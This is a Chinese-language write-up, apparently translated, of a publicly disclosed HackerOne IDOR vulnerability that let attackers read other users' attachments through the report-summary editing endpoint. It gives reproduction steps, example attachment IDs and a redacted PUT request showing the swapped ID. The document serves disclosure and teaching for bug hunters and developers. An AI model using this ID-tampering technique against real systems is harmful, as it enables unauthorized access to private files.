背景介绍
HackerOne (以下简称H1)平台今日披露了自己平台的一个严重级漏洞,该漏洞允许攻击者通过摘要编辑功能未授权访问他人附件。该漏洞于今年3月30日上报,于今日被H1公开披露,H1为该漏洞向白帽黑客支付了$15,000的赏金奖励,该漏洞作为漏洞赏金猎人的学习/参考材料非常有用,对于开发人员来说:通过学习该漏洞的发现来尽量开发安全的应用程序也是非常有用的。
漏洞披露
通过操纵请求中的附件 ID,攻击者可以查看本应受到限制的敏感文件,核心问题是不安全的直接对象引用 (IDOR) 漏洞 (CWE-639),在编辑摘要报告时,可以获得访问他人附件的权限,这对用户数据的机密性构成了严重风险,并可能导致敏感攻击细节和利用信息的泄露。
H1 平台提供了一种用于向各种程序报告漏洞的表格,表单支持上传文件和预览(图像或视频),但不允许使用属于其它帐户的文件 ID。但通过摘要报告功能,却只需更改 ID 即可泄露属于其它用户的文件。
白帽黑客通过提交报告、编辑报告表单调用属于其它帐户的文件,均未成功,得到响应 "was_successful":false,
,但幸运的是,白帽黑客找到了另一个端点(即摘要报告功能中),能够读取属于其它帐户的文件。
漏洞复现步骤
- 攻击者创建草稿或现有报告,然后创建摘要
- 然后编辑摘要并将文件提交
- 拦截请求,将攻击者文件ID更改为受害者文件ID
- 在Markdown预览中即可读取受害者附件文件
通过添加摘要报告泄露的附件:
受害者附件文件id:
3155239
修改 3155244 为 3155239
攻击者附件文件:
3155241
3155242
(如果文件ID来自攻击者)"was_successful":true, 如果将ID修改为受害者"was_successful":false
尝试通过内容泄露 : 失败
通过摘要泄露: 成功
请求包:
PUT /reports/████/summaries/███████ HTTP/2
Host: hackerone.com
.....all header ...
Content-Length: 908
Origin: https://hackerone.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"id":████████,"category":"researcher","content":"TESTEDIT\n\n{F3155244} ","updated_at":"2024-03-30T17:16:29.625Z","user":{"id":█████,"username":"█████","name":"██████████████","bio":"please see pdfx","cleared":false,"verified":false,"website":null,"location":"","created_at":"2024-03-29T11:27:50.077Z","url":"https://hackerone.com/██████████","hackerone_triager":false,"hackerone_employee":false,"user_type":"hacker","profile_picture_urls":{"small":"/assets/avatars/default-█████.png","medium":"/assets/avatars/default-███████.png","xtralarge":"/assets/avatars/default-███████.png"}},"can_view?":true,"can_create?":true,"attachments":[],"action_type":"publish","attachment_ids":[
3155239]}
以上内容由骨哥翻译并整理。